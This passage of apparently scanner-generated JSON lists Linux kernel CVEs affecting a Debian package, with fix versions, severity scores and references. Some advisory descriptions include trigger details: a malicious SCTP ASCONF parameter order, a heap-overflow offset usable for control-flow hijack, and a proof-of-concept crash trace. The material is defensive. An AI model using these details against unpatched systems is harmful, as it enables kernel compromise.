"https://git.kernel.org/stable/c/ba510b5e9fe396497d31162acb579f210adfe6c8", "https://git.kernel.org/stable/c/c39643ad99fea749be50615550e8f0e6d6e60694", "https://linux.oracle.com/cve/CVE-2026-64563.html", "https://linux.oracle.com/errata/ELSA-2026-66180-0.html", "https://lore.kernel.org/linux-cve-announce/2026080404-CVE-2026-64563-9d7f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64563", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64563" ], "PublishedDate": "2026-08-04T07:16:31.22Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64564", "VendorIDs": [ "DSA-6415-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64564", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:beb0fd3b7798f086889949682bca430d9289ca080e20e0a3d7ddd7ce184e0c8f", "Title": "kernel: sctp: don't free the ASCONF's own transport in DEL-IP processing", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: don't free the ASCONF's own transport in DEL-IP processing\n\nsctp_process_asconf() caches the transport the ASCONF chunk is processed\nagainst in asconf-\u003etransport (== chunk-\u003etransport, set once in sctp_rcv()).\nFor an ASCONF located through its Address Parameter by\n__sctp_rcv_asconf_lookup(), that cached transport corresponds to the\nAddress Parameter, which need not be the packet's source address.\n\nsctp_process_asconf_param() rejects a DEL-IP for the packet source address\n(ADDIP D8, SCTP_ERROR_DEL_SRC_IP), but nothing protects asconf-\u003etransport.\nA single ASCONF can therefore carry, in order:\n\n [Address Parameter L] [DEL-IP L] [DEL-IP 0.0.0.0]\n\nwhere L differs from the source. The DEL-IP for L passes the D8 check and\ncalls sctp_assoc_rm_peer() on the transport that asconf-\u003etransport still\npoints at, freeing it (RCU-deferred). The following wildcard DEL-IP then\nreuses the now-dangling asconf-\u003etransport in sctp_assoc_set_primary() and\nsctp_assoc_del_nonprimary_peers(): set_primary() dereferences the freed\ntransport (-\u003eipaddr, -\u003estate) and plants the dangling pointer into\nasoc-\u003epeer.primary_path / active_path, and del_nonprimary_peers(), keeping\nonly the pointer that is no longer on the list, removes every real\ntransport, leaving the association with a transport_count of 0 and\nprimary_path/active_path pointing at freed memory.\n\nReject a DEL-IP that targets the transport the ASCONF is being processed\nagainst, mirroring the existing source-address guard, so the wildcard\nbranch can never reuse a freed transport.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/06/13", "http://www.openwall.com/lists/oss-security/2026/08/06/3", "http://www.openwall.com/lists/oss-security/2026/08/06/4", "http://www.openwall.com/lists/oss-security/2026/08/07/1", "http://www.openwall.com/lists/oss-security/2026/08/07/2", "http://www.openwall.com/lists/oss-security/2026/08/07/8", "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-64564", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/9b2854f86f0b56e9027d68e7a3fc909d1a9b566f%20%287.2-rc5%29", "https://git.kernel.org/stable/c/2b324ba3494ae958cba16a453e3e71489b4de7fc", "https://git.kernel.org/stable/c/74e8f3e7114f0e26d1b2c4c048044db9fcc27603", "https://git.kernel.org/stable/c/85aca407c560aba81b5ce9d3d6cf94c74077d19b", "https://git.kernel.org/stable/c/9b2854f86f0b56e9027d68e7a3fc909d1a9b566f", "https://git.kernel.org/stable/c/a63afa1f9b12d5293cbe0b77fd45dc0632533a13", "https://git.kernel.org/stable/c/a9ce31be4cb1a5dd82b3e0a1d0c3e7cbdcd31293", "https://git.kernel.org/stable/c/d136b29bf91dd8e3161281b87de597b7311d9462", "https://git.kernel.org/stable/c/fedeb4468987bcaff85fe3061de5ae052d414740", "https://linux.oracle.com/cve/CVE-2026-64564.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://lore.kernel.org/linux-cve-announce/2026080404-CVE-2026-64564-6762@gregkh/T", "https://matrix.tencent.com/en/2026/08/06/sctphantom-CVE-2026-64564", "https://nvd.nist.gov/vuln/detail/CVE-2026-64564", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64564" ], "PublishedDate": "2026-08-04T07:16:31.34Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64565", "VendorIDs": [ "DSA-6415-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64565", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d00bbaa8a267acd96d85f62fa184d54840b222d86dfc512de05a1555fa9a8705", "Title": "kernel: Input: ims-pcu - fix heap-buffer-overflow in ims_pcu_process_data()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: ims-pcu - fix heap-buffer-overflow in ims_pcu_process_data()\n\nThe `ims_pcu_process_data()` processes incoming URB data byte by byte.\nHowever, it fails to check if the `read_pos` index exceeds\nIMS_PCU_BUF_SIZE.\n\nIf a malicious USB device sends a packet larger than IMS_PCU_BUF_SIZE,\n`read_pos` will increment indefinitely. Moreover, since `read_pos` is\nlocated immediately after `read_buf`, the attacker can overwrite\n`read_pos` itself to arbitrarily control the index.\n\nThis manipulated `read_pos` is subsequently used in\n`ims_pcu_handle_response()` to copy data into `cmd_buf`, leading to a\nheap buffer overflow.\n\nSpecifically, an attacker can overwrite the `cmd_done.wait.head` located\nat offset 136 relative to `cmd_buf` in the `ims_pcu_handle_response()`.\nConsequently, when the driver calls `complete(\u0026pcu-\u003ecmd_done)`, it\ntriggers a control flow hijack by using the manipulated pointer.\n\nFix this by adding a bounds check for `read_pos` before writing to\n`read_buf`. If the packet is too long, discard it, log a warning,\nand reset the parser state.\n\n[dtor: factor out resetting packet state, reset checksum as well]", "Severity": "HIGH", "VendorSeverity": { "azure": 4, "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64565", "https://git.kernel.org/linus/875115b82c295277b81b6dfee7debc725f44e854%20%287.1-rc1%29", "https://git.kernel.org/stable/c/06cfff93fd40441292567b999091beab11c74504", "https://git.kernel.org/stable/c/3a801bc75ba1d121d0ed60e7234f93ba5651d87d", "https://git.kernel.org/stable/c/40bbbf2e91fd60715525bf0405c67876af817edf", "https://git.kernel.org/stable/c/875115b82c295277b81b6dfee7debc725f44e854", "https://git.kernel.org/stable/c/992a7173364dcf63e30012af43da3c2f279839f9", "https://git.kernel.org/stable/c/ca9f8c09845fb8c51b6d447f6428eecd1b8b0a49", "https://git.kernel.org/stable/c/d03a740e087de7dcb2a26dc1123377bd3d1d84ca", "https://lore.kernel.org/linux-cve-announce/2026080404-CVE-2026-64565-557c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64565", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64565" ], "PublishedDate": "2026-08-04T07:16:31.477Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64582", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64582", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3ad7ebf5c69021ff3594bcb857578b01cf3b39e979526e2c68ee41ca8294f33a", "Title": "kernel: RDMA/rxe: Fix a use-after-free problem in rxe_mmap", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/rxe: Fix a use-after-free problem in rxe_mmap\n\nrxe_mmap() removes a rxe_mmap_info struct from the pending_mmaps list\nand releases pending_lock while the struct's kref is still at 1:\n\n list_del_init(\u0026ip-\u003epending_mmaps);\n spin_unlock_bh(\u0026rxe-\u003epending_lock); /* ref == 1, no lock held */\n ret = remap_vmalloc_range(vma, ip-\u003eobj, 0); /* walks PTEs */\n [...]\n rxe_vma_open(vma); /* kref_get, ref → 2 */\n remap_vmalloc_range_partial() walks PTEs without any lock.\n\nA concurrent DESTROY_CQ ioctl on another CPU calls:\n\n kref_put(\u0026q-\u003eip-\u003eref, rxe_mmap_release) /* ref 1→0 */\n vfree(ip-\u003eobj) /* clears vmalloc PTEs mid-walk */\n kfree(ip) /* frees rxe_mmap_info */\n\nThis yields:\n\n 1. Kernel crash, vmalloc_to_page() returns NULL when vfree wins the\n per-PTE race -\u003e vm_insert_page(NULL) → GPF in validate_page_before_insert\n\n 2. Page UAF, vmalloc_to_page() reads a stale PTE before vfree clears\n it. User VMA holds a PTE to a free'd page which might eventually get\n reallocated later by vmalloc which allows the attacker to get a clean\n page-level UAF.\n\n It is worth noting that even though a page-level UAF is possible given\n the strong primitive, it is statistically very difficult to achieve\n given the very short time window (after the last insert_page and before\n the kref_get).\n\nThe call trace are as below:\n\n Oops: general protection fault, probably for non-canonical address 0xdffffc0000000001: 0000 [#1] SMP KASAN NOPTI\n KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]\n CPU: 0 UID: 1000 PID: 413 Comm: poc Not tainted 7.0.0-rc5-dirty #28 PREEMPT(lazy)\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n RIP: 0010:validate_page_before_insert+0x32/0x300\n Code: e5 41 57 41 56 49 89 fe 41 55 41 54 53 48 89 f3 e8 93 b5 a3 ff 48 8d 7b 08 48 b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 7b 02 00 00 4c 8b 63 08 31 ff 4d 89 e5 41 83 e5\n RSP: 0018:ffff88811b15f2f0 EFLAGS: 00000202\n RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000000\n RDX: 0000000000000001 RSI: 0000000000000000 RDI: 0000000000000008\n RBP: ffff88811b15f318 R08: 0000000000000000 R09: 0000000000000000\n R10: 0000000000000000 R11: 0000000000000000 R12: ffff8881181eee00\n R13: 0000000000000000 R14: ffff8881181eee00 R15: ffff8881181eee20\n FS: 00007b1e000f76c0(0000) GS:ffff8884268e0000(0000) knlGS:0000000000000000\n CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00007b1e00a24ac0 CR3: 0000000116eb3000 CR4: 00000000000006f0\n Call Trace:\n \u003cTASK\u003e\n insert_page+0x8f/0x190\n ? __pfx_insert_page+0x10/0x10\n ? kasan_save_alloc_info+0x38/0x60\n vm_insert_page+0x2e7/0x400\n remap_vmalloc_range_partial+0x212/0x3e0\n remap_vmalloc_range+0x6e/0xb0\n ? __kasan_check_write+0x14/0x30\n rxe_mmap+0x2e9/0x5d0\n ib_uverbs_mmap+0x1ad/0x2c0\n __mmap_region+0x12c2/0x2ad0\n ? __pfx___mmap_region+0x10/0x10\n ? __sanitizer_cov_trace_switch+0x58/0xb0\n ? mas_prev_slot+0x360/0x39c0\n ? __sanitizer_cov_trace_switch+0x58/0xb0\n ? mas_next_slot+0x1e5b/0x2f40\n ? __sanitizer_cov_trace_cmp8+0x18/0x30\n ? unmapped_area_topdown+0x4dd/0x610\n ? kfree+0x1b1/0x440\n ? free_cpumask_var+0x16/0x30\n ? __kasan_slab_free+0x7d/0xa0\n ? __sanitizer_cov_trace_cmp8+0x18/0x30\n mmap_region+0x2e6/0x3c0\n do_mmap+0xa3e/0x12a0\n ? __pfx_do_mmap+0x10/0x10\n ? __kasan_check_write+0x14/0x30\n ? down_write_killable+0xba/0x160\n ? __pfx_down_write_killable+0x10/0x10\n ? __sanitizer_cov_trace_cmp4+0x16/0x30\n vm_mmap_pgoff+0x2d4/0x4a0\n ? __pfx_vm_mmap_pgoff+0x10/0x10\n ? fget+0x1bf/0x270\n ksys_mmap_pgoff+0x40c/0x690\n ? __sanitizer_cov_trace_const_cmp4+0x16/0x30\n ? __pfx_ksys_mmap_pgoff+0x10/0x10\n ? __kasan_check_write+0x14/0x30\n ? _raw_spin_trylock+0xbb/0x130\n ? __pfx__raw_spin_trylock+0x10/0x10\n __x64_sys_mmap+0x135/0x1e0\n x64_sys_c\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-64582", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/linus/35744ab3d03c5fca8c1752f53fc8fc674e14c561%20%287.2-rc1%29", "https://git.kernel.org/stable/c/3371f2036e0f970166bbb624e25bba46d32fa18e", "https://git.kernel.org/stable/c/3525987a392536f31a484833af258971af63b24c", "https://git.kernel.org/stable/c/35744ab3d03c5fca8c1752f53fc8fc674e14c561", "https://git.kernel.org/stable/c/665fb7d22a700c66a78db0cf88c6e6a649aba9d0", "https://git.kernel.org/stable/c/aef5ea8578f97f2701039600846a8bcf5f21e863", "https://git.kernel.org/stable/c/b810352d0916796dabe633cdb9adee9863ab4911", "https://git.kernel.org/stable/c/e038d42cc09ca1da9d3568ce8ae062b2bfb3bc0e", "https://git.kernel.org/stable/c/e59a6aa89e0fcd1d0707832eb4654fd9ae7d31e6", "https://linux.oracle.com/cve/CVE-2026-64582.html", "https://linux.oracle.com/errata/ELSA-2026-70402.html", "https://lore.kernel.org/linux-cve-announce/2026080518-CVE-2026-64582-9922@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64582", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64582" ], "PublishedDate": "2026-08-05T12:18:57.44Z", "LastModifiedDate": "2026-10-19T21:17:48.543Z" }, { "VulnerabilityID": "CVE-2026-64597", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64597", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:321ef80d323189f707054ebd14bf0c29c0a57ab5156674debe0e679a7e473e04", "Title": "kernel: smb: client: fix double-free in SMB2_close() replay", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix double-free in SMB2_close() replay\n\nA response-bearing attempt can return a replayable error and free its\nresponse buffer. If SMB2_close_init() fails before the next send, cleanup\nretains the previous buffer type and frees that response again.\n\nReset response bookkeeping before each attempt to prevent the stale free.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-64597", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", 